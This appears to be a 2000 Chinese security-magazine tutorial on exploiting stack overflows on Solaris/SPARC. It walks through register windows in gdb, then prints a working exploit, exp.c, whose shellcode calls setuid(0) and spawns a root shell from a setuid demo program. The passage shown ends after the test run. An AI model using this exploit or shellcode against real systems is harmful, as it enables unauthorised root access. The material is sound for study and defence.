首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第9期->技术专题
期刊号: 类型: 关键词:
Solaris for SPARC 堆栈溢出程序编写(1)

作者:warning3 (warning3@hotmail.com)
主页:http://www.nsfocus.com
日期:2000-05-05

前言:

  众所周知,Solaris系统的缓冲区溢出漏洞可以说是层出不穷,攻击者通常可以很轻易地
  利用这些漏洞获得系统的控制权。但目前似乎很少看到有讲如何在Solaris下编写溢出程
  序的文章,因此我决定写一篇这方面的文章,主要是抛砖引玉,希望能引起一些讨论,共
  同提高,我的目的也就达到了。由于我对SPARC结构也是刚刚开始学习,很多地方都是凭
  自己的理解,错误疏漏之处在所难免,欢迎批评指正。
  
  注: scz已经写了一篇很好的文章,关于编写Solaris (SPARC)下shellcode的。详细介绍
  了shellcode的编写过程,同时对SPARC结构也有非常详尽介绍。如果想了解shellcode编
  写,建议先看一下该文。
  
  本文中所有程序都在 SunOS 5.7/5.6 Generic sun4u sparc SUNW,Ultra-5_10 下测试通过
    
                                                   
      1.  SPARC平台的基本知识
        
         1.1 通用寄存器
         1.2 过程调用机制
         
      2.  普通溢出程序编写
      
         2.1  基本思路    
         2.2  实现方法
         2.3  一个针对vul.c的测试程序exp.c
         2.4  一个实际测试程序的编写过程(lpset -a)
         
      3. 绕过不可执行堆栈保护的溢出程序编写         
      
         3.1  基本思路    
         3.2  一个针对vul.c的测试程序ex_noexec.c
         3.3  不能得到root shell的分析以及解决方法
         3.4  关于假栈帧地址的确定
         3.5  一个实际的例子lpset_nonexec.c
         3.6  利用strcpy()拷贝shellcode
         3.7  一个实际的例子lpset_nonexec1.c
       
      4. 结束语
      
      5. 参考文献


内容:
  
1. SPARC平台的基本知识
   
   SPARC平台和Intel x86有很多不同的地方,为了理解SPARC下的溢出,我们先来了解一下
   SPARC下的寄存器以及过程执行的情况。限于篇幅,这里不可能作非常详尽的介绍,有兴
   趣的朋友可以去查看相关的资料。
   
   1.1 通用寄存器
    
   SPARC包含4组通用寄存器,每组包含8个寄存器。其中一组是全局(global)寄存器,另外三
   组寄存器是out,local,in.每组寄存器的基本构成及作用如下表所示:
      
    
                 %g0  (r00)       始终为0
                 %g1  (r01)  [1]  临时值
                 %g2  (r02)  [2]  
     global      %g3  (r03)  [2]  
                 %g4  (r04)  [2]  
                 %g5  (r05)       保留
                 %g6  (r06)       保留
                 %g7  (r07)       保留

                 %o0  (r08)  [3]  输出参数0/被调函数调用返回值
                 %o1  (r09)  [1]  输出参数1
                 %o2  (r10)  [1]  输出参数2
     out         %o3  (r11)  [1]  输出参数3
                 %o4  (r12)  [1]  输出参数4
                 %o5  (r13)  [1]  输出参数5
            %sp, %o6  (r14)  [1]  堆栈指针
                 %o7  (r15)  [1]  临时数据/CALL指令的地址

                 %l0  (r16)  [3]  local 0
                 %l1  (r17)  [3]  local 1
                 %l2  (r18)  [3]  local 2
     local       %l3  (r19)  [3]  local 3
                 %l4  (r20)  [3]  local 4
                 %l5  (r21)  [3]  local 5
                 %l6  (r22)  [3]  local 6
                 %l7  (r23)  [3]  local 7

                 %i0  (r24)  [3]  输入参数0/返回给主调函数的值
                 %i1  (r25)  [3]  输入参数1
                 %i2  (r26)  [3]  输入参数2
     in          %i3  (r27)  [3]  输入参数3
                 %i4  (r28)  [3]  输入参数4
                 %i5  (r29)  [3]  输入参数5
            %fp, %i6  (r30)  [3]  栈帧指针
                 %i7  (r31)  [3]  ( 返回地址 - 8 )

   其中out,local,in三组寄存器(24个寄存器)组成一个"寄存器窗"。在SPARC中可以包含
   多个寄存器窗。每个过程在执行中都对应一个寄存器窗,称为当前寄存器窗。一个特殊
   寄存器CWP(current window pointer)记录当前的寄存器窗号码。每个寄存器窗的out,in
   寄存器分别等于相邻寄存器窗的in,out寄存器。如下图所示。
   
outs[1]  locals[1]  ins[1]  1号寄存器窗
                    outs[2]   locals[2]  ins[2] 2号寄存器窗
                                        outs[3]   locals[3]  ins[3] 3号寄存器窗
                                                            outs[4] ...

   1.2 过程调用机制
   

   先来看一个简单的问题函数,它是存在缓冲区溢出问题的:
--------------------------------------------------------------------------
/*  
* vul.c
* written by warning3 <warning3@hotmail.com>
*    gcc -o vul vul.c
*/
func ( char * str )
{
    char buf[8];
    strcpy( buf, str );
    printf( "%s\n", buf );
}
int main ( int argc, char * argv[] )
{
    if ( argc > 1 )
    {
        func( argv[1] );
    }
}  /* end of main */

--------------------------------------------------------------------------

   我们来分析一下它的执行过程:
   
[warning3@sun1 ovw]$ gcc -o h vul.c
[warning3@sun1 ovw]$ gdb h
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disass main
Dump of assembler code for function main:
0x10ad8 <main>:       save  %sp, -112, %sp     ! 分配堆栈空间,保存寄存器l*,i*
0x10adc <main+4>:     st  %i0, [ %fp + 0x44 ]  ! 将参数一:argc 存储到[%fp + 0x44]
0x10ae0 <main+8>:     st  %i1, [ %fp + 0x48 ]  ! 将参数二:argv 存储到[%fp + 0x48]
0x10ae4 <main+12>:    ld  [ %fp + 0x44 ], %o0  ! 将argc装入%o0
0x10ae8 <main+16>:    cmp  %o0, 1              ! 比较是否等于1
0x10aec <main+20>:    ble  0x10b0c <main+52>   ! 如果<=1,返回
0x10af0 <main+24>:    nop                      ! 延迟指令
0x10af4 <main+28>:    mov  4, %o0              ! 令%o0=0x4
0x10af8 <main+32>:    ld  [ %fp + 0x48 ], %o2  ! 将argv指针地址放入%o2
0x10afc <main+36>:    add  %o0, %o2, %o1       ! %o2 + 4 = argv[1]
0x10b00 <main+40>:    ld  [ %o1 ], %o0         ! 将argv[1]的地址付给%o0
0x10b04 <main+44>:    call  0x10aa0 <func>     ! 调用子函数<func>
0x10b08 <main+48>:    nop                      ! 延迟指令
0x10b0c <main+52>:    ret                      ! 返回
0x10b10 <main+56>:    restore                  ! 恢复堆栈
End of assembler dump.
(gdb) b *0x10ad8
Breakpoint 1 at 0x10ad8
(gdb) r aaaaaaaa
Starting program: /space/staff/warning3/ovw/h aaaaaaaa

Breakpoint 1, 0x10ad8 in main ()
(gdb) i r i0 i1 i2 i3 i4 i5 fp i7
i0             0x0      0
i1             0x0      0
i2             0x0      0
i3             0x0      0
i4             0x0      0
i5             0x0      0
fp             0x0      0
i7             0x0      0
(gdb) i r o0 o1 o2 o3 o4 o5 sp o7
o0             0x2      2                <----- 第一个参数: argc = 2
o1             0xffbefc4c       -4260788 <----- 第二个参数:  argv指针
o2             0xffbefc58       -4260776 <----- 环境变量指针
o3             0x21998  137624           <----- 指向环境变量指针的指针 **environ
o4             0x0      0
o5             0x0      0
sp             0xffbefbe8       -4260888 <----- 当前堆栈指针
o7             0x109bc  68028            <----- 调用main函数的地址:call  0x10ad8 <main>
(gdb) x/x $o1
0xffbefc4c:     0xffbefd40
(gdb) x/s 0xffbefd40
0xffbefd40:      "/space/staff/warning3/ovw/h"  <---- argv[0]
(gdb) x/x $o1 + 4
0xffbefc50:     0xffbefd5c
(gdb) x/s 0xffbefd5c
0xffbefd5c:      "aaaaaaaa"               <---- argv[1]
(gdb) x/x $o2
0xffbefc58:     0xffbefd65                <---- 环境变量的起始地址
(gdb) x/5s 0xffbefd65
0xffbefd65:      "PWD=/space/staff/warning3/ovw"
0xffbefd83:      "TZ=PRC"
0xffbefd8a:      "_INIT_RUN_NPREV=0"
0xffbefd9c:      "HZ=100"
0xffbefda3:      "HOSTNAME=sun1.nsfocus.com"
(gdb) x/x $o3  
0x21998 <environ>:      0xffbefc58        <---- 指向%o2所存的地址
(gdb) si                                  <---- 执行:save  %sp, -112, %sp
0x10adc in main ()                                    为main()设置堆栈空间
(gdb) i r i0 i1 i2 i3 i4 i5 fp i7         <---- 将寄存器组out全部换为in
i0             0x2      2
i1             0xffbefc4c       -4260788
i2             0xffbefc58       -4260776
i3             0x21998  137624
i4             0x0      0
i5             0x0      0
fp             0xffbefbe8       -4260888  <---- 原来的%sp变成%fp
i7             0x109bc  68028
(gdb) i r o0 o1 o2 o3 o4 o5 sp o7         <---- 创建新的寄存器组out
o0             0x0      0
o1             0x0      0
o2             0x0      0
o3             0x0      0
o4             0x0      0
o5             0x0      0
sp             0xffbefb78       -4261000  <---- 新的sp(o6)= 原来的sp - 112(0x70)
o7             0x0      0

   这时候save指令已经计算了函数堆栈帧的长度为112字节,因此,将当前堆栈指针前移112
   字节,为保留寄存器以及分配变量留出空间,指向堆栈开头
   
(gdb) x/8xw $sp                           <---- 将l0 - l7存入$sp低端
0xffbefb78:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbefb88:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/8xw $sp + 32                      <---- 将i0 - i7存入$sp+32处
0xffbefb98:     0x00000002      0xffbefc4c      0xffbefc58      0x00021998
0xffbefba8:     0x00000000      0x00000000      0xffbefbe8      0x000109bc
                                                                ----、----
                                                                     、_(返回地址-8)
   值得注意的是,l0-l7,i0-i7寄存器的值保存到了main()堆栈的开头处,其中i7保存的值
   是 call <main> 指令的地址,也就是(返回地址-8)。

(gdb) x/2x $fp + 0x44
0xffbefc2c:     0x00000000      0x00000000  
(gdb) si                                  <---- st  %i0, [ %fp + 0x44 ]     
0x10ae0 in main ()
(gdb) x/2x $fp + 0x44                           把参数1(argc)存储到[ %fp + 0x44 ]    
0xffbefc2c:     0x00000002      0x00000000
(gdb) si                                  <---- st  %i1, [ %fp + 0x48 ]
0x10ae4 in main ()                                    
(gdb) x/2x $fp + 0x44                           把参数2(**argv)地址存到[ %fp + 0x48 ]
0xffbefc2c:     0x00000002      0xffbefc4c
  
   我们可以看到一个有趣的现象,main()函数将它的参数放到了%fp + 0x44开始的地址。
   0x44=68=(8 + 8 + 1)*4  , %fp其实是调用main函数之前的堆栈指针,也就是<_start>
   函数的堆栈指针,%fp处存储的是l0-l7,%fp + 32处存储的是i0-i7, %fp + 64处(4个字
   节)是用来存放main()函数的返回值的。而 %fp + 68 开始用来存放 main()函数的参数
   。也就是说:在solaris底下,被调函数的参数是放在主调函数的堆栈栈帧中的。

(gdb) b *0x10b00                          <---- 中间的就不看了,没什么特别
Breakpoint 2 at 0x10b00
(gdb) c
Continuing.

Breakpoint 2, 0x10b00 in main ()
(gdb) i r o0
o0             0x4      4
(gdb) si                                  <---- 将"aaaaaaa"的地址传给%o0
0x10b04 in main ()                        <---- 下一条指令地址是0x10b04  
(gdb) x/s $o0
0xffbefd5c:      "aaaaaaaa"

(gdb) i r o7
o7             0x0      0                 <---- o7现在是0
(gdb) si                                  <---- 执行call <func>调用
0x10b08 in main ()
(gdb) i r o7
o7             0x10b04  68356             <---- 现在o7变成了0x10b04:call <func>的地址  
(gdb) i r o0 o1 o2 o3 o4 o5 sp o7
o0             0xffbefd5c       -4260516
o1             0xffbefc50       -4260784
o2             0xffbefc4c       -4260788
o3             0x0      0
o4             0x0      0
o5             0x0      0
sp             0xffbefb78       -4261000
o7             0x10b04  68356
(gdb) i r i0 i1 i2 i3 i4 i5 fp i7
i0             0x2      2
i1             0xffbefc4c       -4260788
i2             0xffbefc58       -4260776
i3             0x21998  137624
i4             0x0      0
i5             0x0      0
fp             0xffbefbe8       -4260888
i7             0x109bc  68028
(gdb) i r pc
pc             0x10b08  68360
(gdb) si                                  <---- 执行延时指令
0x10aa0 in func ()
(gdb) i r pc                              <---- 将%pc设置到<func>开始
pc             0x10aa0  68256
(gdb) si                                  <---- 执行save  %sp, -120, %sp指令
0x10aa4 in func ()
(gdb) i r o0 o1 o2 o3 o4 o5 sp o7         <---- 创建新的寄存器组out
o0             0x0      0
o1             0x0      0
o2             0x0      0
o3             0x0      0
o4             0x0      0
o5             0x0      0
sp             0xffbefb00       -4261120  <---- 将sp指向 sp - 120
o7             0x0      0
(gdb) i r i0 i1 i2 i3 i4 i5 fp i7         <---- 将out换成in
i0             0xffbefd5c       -4260516
i1             0xffbefc50       -4260784
i2             0xffbefc4c       -4260788
i3             0x0      0
i4             0x0      0
i5             0x0      0
fp             0xffbefb78       -4261000   <----  main()的堆栈指针变成了%fp
i7             0x10b04  68356              <----  func()的返回地址-8
(gdb) disass func
Dump of assembler code for function func:
0x10aa0 <func>:         save  %sp, -120, %sp
0x10aa4 <func+4>:       st  %i0, [ %fp + 0x44 ]
0x10aa8 <func+8>:       add  %fp, -24, %o1
0x10aac <func+12>:      mov  %o1, %o0
0x10ab0 <func+16>:      ld  [ %fp + 0x44 ], %o1
0x10ab4 <func+20>:      call  0x216f0 <strcpy>
0x10ab8 <func+24>:      nop
0x10abc <func+28>:      add  %fp, -24, %o1
0x10ac0 <func+32>:      sethi  %hi(0x11400), %o2
0x10ac4 <func+36>:      or  %o2, 0x268, %o0     ! 0x11668 <_lib_version+8>
0x10ac8 <func+40>:      call  0x216fc <printf>
0x10acc <func+44>:      nop
0x10ad0 <func+48>:      ret
0x10ad4 <func+52>:      restore
End of assembler dump.

   从这里我们应该可以看到SPARC函数调用的基本流程了


        主调函数        被调函数
        ------          ------
          main
          *
          *
        call func
        nop -------\
                   |
                   \---> func: save %sp, -framesize, %sp
                                *
                                *
                                *
                                *
                             ret
                             restore
                               |
          * <------------------/
          *
          *
          *

   简单介绍一下四个常用指令的功能:
   
   <1> call指令将当前call指令的地址保存到寄存器%o7中,然后将控制转向func()。
       call后面的nop指令是一个延迟操作。当从func()中返回(ret)的时候,应该跳到nop
       后面的地址(%o7+8)去执行,因此,%o7中保存的值是返回地址-8.
  
   <2> save指令完成如下操作:
       1. 计算本调用过程的栈帧大小,根据主调函数的%sp(%o6)计算当前堆栈指针的新地
          址
       2. 将寄存器窗号减一
       3. 再将旧的寄存器"out"改名为"in". 这样,主调函数main的堆栈指针(%sp/%o6)就
          保存到(%fp/%i6)中,func()的返回地址也保存到了%i7中
       4. 然后Save会创建新的"out"和"local"寄存器组,然后将当前堆栈的地址(%sp)保
          存到%o6(注意:这里是被调函数的%o6)中。
       5. 将%l0-%l7保存到(%sp)处,将%i0-%i7保存到(%sp+32)处,
  
   <3> ret指令是个合成指令,等价于jmpl %i7+8, %g0.它将跳转到%i7+8处.由于%i7中保存
       的值是call指令的地址,所以程序就跳到正确的地址(跳过call后面的延迟指令NOP)去
       执行了。
       
   <4> restore也是个合成指令,它将寄存器窗号增加一,然后将"in"寄存器组改名为"out"
       ,并将主调函数保存在堆栈中的%i0-%i7(%fp+32开始)和%l0-%l7(%fp开始)恢复到新的
       "in"和"local"寄存器组中,这样main()的三组寄存器就恢复成原状了。
  
  
   我们再来看一下执行过程调用时堆栈中的内存分配情况:


被调用过程的堆栈(在执行了save指令以后)
================================================

堆栈低址

       ___________ ___________ %sp ( func() )    
%sp    | %l0-%l7  | 8*4    保存func()的%l0-%l7寄存器
       |__________|
%sp+32 | %i0-%i7  | 8*4    保存func()的%i0-%i7寄存器 (%i7包含func()的返回地址)
       |__________|
%sp+64 |返回值地址| 1*4    为下一个被调函数保留的返回值地址空间
       |__________|
%sp+68 | 参数地址 | 6*4    为下一个被调函数保留(前6个)参数的空间
       |__________|
%sp+92 | 参数地址 | n*4    n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
       |__________|
       |局部变量  |
       |  ....    | n*8    为func()的局部变量分配空间,每8个字节为一个分配单元
       |          |
       |__________|
       | 临时区域 | 4*4    C编译器用来计算表达式时储存一些临时变量的区域
       |__________|___________ %fp ( main() )
%fp    | %l0-%l7  | 8*4    保存main()的%l0-%l7寄存器
       |__________|
%fp+32 | %i0-%i7  | 8*4    保存main()的%i0-%i7寄存器(%i7包含main()的返回地址)
       |__________|
%fp+64 |返回值地址| 1*4    为下一个被调函数(这里是func())保留的返回值地址空间
       |__________|
%fp+68 | 参数地址 | 6*4    为下一个被调函数(这里是func())保留前6个参数的地址空间
       |__________|
%fp+92 | 参数地址 | n*4    n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
       |__________|
       |局部变量  |
       |  ....    | n*8    为main()的局部变量分配空间,每8个字节为一个单元
       |          |
       |__________|
       | 保留区域 | 4*4    4个字的保留区域
       |__________|
       | %l0-%l7  |
       |__________|
        ....
        

堆栈高址

2.  普通溢出程序编写

   2.1  基本思路    

    从前面所讲的函数调用的过程可以知道,我们是不可能覆盖当前函数的返回地址的,因
    为当前函数的返回地址是保存在寄存器%i7中的,然而,我们可以覆盖当前函数的主调
    函数的栈帧,即%fp往后的区域,这里保存有主调函数的%l0-%l7和%i0-%i7.
    以上面的程序为例,只要输入(n*8 + 4*4 + 8*4 + 8*4)个字节长的数据,就可以完全
    覆盖main()函数保存的%l0-%l7和%i0-%i7,这样,当func()执行完restore指令后,就会
    将我们修改过的堆栈内容恢复到in和local寄存器中。而当main()函数执行ret指令返回
    时,就跳到(%i7+8)的地址去运行了,只要在这个地址事先放入我们的shellcode就行了。

    因此,在SPARC平台下面,我们至少需要两次返回才能完成攻击。这和i386下是不一样
    的。这也意味着,如果在main()函数中存在溢出漏洞,你是不可能攻击成功的。因为在
    从main()返回后,通常<_start>会调用<exit>或者<_exit>退出,因此你不可能再修改
    寄存器%i7的值并跳到那里执行。例如,象这样的程序是不可能进行溢出攻击的,有兴
    趣的人可以试一试。

    /*   vul1.c   */               
    int main(int argc, char **argv)
    {                              
       char buf[8];                
                                   
       strcpy(buf,argv[1]);        
    }                              
    /*  end of vul1.c */           

   2.2  实现方法
   
   理解了上面的函数调用的过程之后,那么写攻击程序其实就和Linux很相似了。只要用返
   回地址覆盖保存的%i7就可以了,示意图如下:

   地址   -----------------------------> 高址      
                       %fp       %fp+32            
   -------------------------------------------     
   | buffer | 保留区域 | %l0-%l7 | %i0 - %i7 |      
   --------------------------------------------    
   | NOPNOP...SHELLCODE|     RET ... RET     |     
   --------------------------------------------    
      ^                                            
      |                        |                   
      \------------------------/                   

   关于SPARC平台下shellcode的编写,可以参看scz的<<solaris for sparc下shellcode的
   编写>>,这里不再赘述。

   如果buffer比较小,放不下我们的shellcode,有两种方法可以解决:
   一是将"NOP...NOP..SHELLCODE"部分移到"RET..."后面,

   地址   -----------------------------> 高址
                       %fp       %fp+32
   ----------------------------------------------------------------
   | buffer | 保留区域 | %l0-%l7 | %i0 - %i7 | .....               |
   ----------------------------------------------------------------
   | RET    ...       RET        ... RET     | NOPNOP...SHELLCODE |
   ----------------------------------------------------------------
                      |                          ^
                      |                          |
                      \--------------------------/

   二是将shellcode放到环境变量中去,将RET指向环境变量,

   地址   -----------------------------> 高址
                       %fp       %fp+32            environ
   -------------------------------------------    ---------------------
   | buffer | 保留区域 | %l0-%l7 | %i0 - %i7 |    | .....            |
   -------------------------------------------    ---------------------
   | RET    ...       RET        ... RET     |    | NOPNOP...SHELLCODE |
   --------------------------------------------   -------------------
                      |                             ^
                      |                             |
                      \-----------------------------/

   采用哪种方法理论上都是可以的。在这里我只举一个例子,使用环境变量来存放我们的
   shellcode.需要注意的问题是,

   (1) 这里的NOP指令是4个字节的指令,这要求我们的返回地址必须指向NOP指令的第一个
       字节在i386中,NOP指令是一个字节,因此,要求并不这么严格)
   (2) NOP指令的起始地址必须在4字节边界上(能被四整除),否则将导致总线错误。
   (3) 在SPARC平台下,堆栈中buffer的大小是按8的倍数分配的,这是在确定buffer大小的
       时候要注意的。
   
   2.3  一个针对vul.c的测试程序exp.c

   下面是一个测试程序,用来攻击我们前面的vul.c。我们采用execle()执行./vul,使我们
   的环境变量尽可能的少,我们的shellcode将放在堆栈的高端,这个地址是相对固定的,
   比较容易猜测。调整offset(必须是4的倍数)使返回地址落在NOP指令当中,如果该地址不
   与NOP指令的第一个字节对齐,再调整align的值(从0-3即可),使之对齐。


--------------------------------------------------------------------------
/*
* exp.c  -- test exploit for vul.c in Solaris for SPARC .
* gcc -o exp exp.c
*                 by warning3 <warning3@hotmail.com>
*                                            y2k/5/5   
*/

#include <stdio.h>

#define BUFSIZE 8         /* the size of overflowed buffer*/
#define EGGSIZE 1024        /* the egg buffer size */
#define NOP     0xaa1d4015  /* "xor %l5, %l5, %l5" */
#define ALIGN   0           /* If don't work ,try adjust align to 0,1,2,3 */
#define OFFSET  1500


char shellcode[] = /* from scz's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"   /* setuid(0)  */
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

/* get current stack point address to guess Return address */
long get_esp(void)   

{
        __asm__("mov %sp,%i0");
}


main( int argc, char **argv )

{

        char *pattern,eggbuf[EGGSIZE],*env[2];

        long retaddr, i;
        long bufsize=BUFSIZE, offset=OFFSET, align=ALIGN, patternsize ;
        long  *addrptr;
        
        if( argc > 1 ) align = atoi(argv[1]);
        if( argc > 2 ) offset = atoi(argv[2]);
        if( argc > 3 ) bufsize =  atoi(argv[3]);
        
        
        retaddr = get_esp() + offset; /* Guess return address */
        printf("Usages: %s <align> <offset> <bufsize> \n\n", argv[0] );
        printf("Using RET address = 0x%x  ,Bufsize = %d, Offset = %d, Align= %d\n"
                , retaddr, bufsize, offset, align );

        /* bufsize + reserved area + saved in/local + NULL */
        patternsize = bufsize + 4*4 + 16*4 + 1;

        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */
        addrptr = (long *) (pattern + bufsize + 4*4 ); /* move to saved %l0 */
        
        /* Let's overwrite caller function's saved stack frame  */

        for( i = 0 ; i < 16 ; i ++ )
            *addrptr++ = retaddr;       /* saved (%l0-%l7),(%i0-%i7) */
         
        /* construct shellcode buffer */

        memset(eggbuf,'A',EGGSIZE);   /* fill the eggbuf with garbage */
        for (i = align; i < EGGSIZE; i+=4) { /* fill with NOP */
           eggbuf[i+3]=NOP & 0xff;
           eggbuf[i+2]=(NOP >> 8 ) &0xff;
           eggbuf[i+1]=(NOP >> 16 ) &0xff;
           eggbuf[i+0]=(NOP >> 24 ) &0xff;  /* Big endian */
        }
             

         /* Notice : we assume the length of shellcode can be divided exatcly by 4 .
            If not, exploit will fail. Anyway, our shellcode is. ;-)
          */     
         memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4  + align, shellcode, strlen(shellcode));
         memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */
         env[0] = eggbuf;    /* put eggbuf in env */
         env[1] = NULL;      /* end of env */
         
         execle("./vul", "./vul",pattern,NULL,env);
}  /* end of main */
--------------------------------------------------------------------------

测试一下:
[warning3@sun1 test]$ ls -l vul exp
-rwxr-xr-x   1 root     other      25664 May  5 10:17 exp
-rwsr-xr-x   1 root     other      24576 May  4 23:25 vul
[warning3@sun1 test]$ id
uid=100(warning3) gid=1(other)
[warning3@sun1 test]$ ./exp
Usages: ./exp <align> <offset> <bufsize>

Using RET address = 0xffbefe0c  ,Bufsize = 8, Offset = 1500, Align= 0
CCCCCCCCCCCCCCCCCCCCCCCC
版权所有,未经许可,不得转载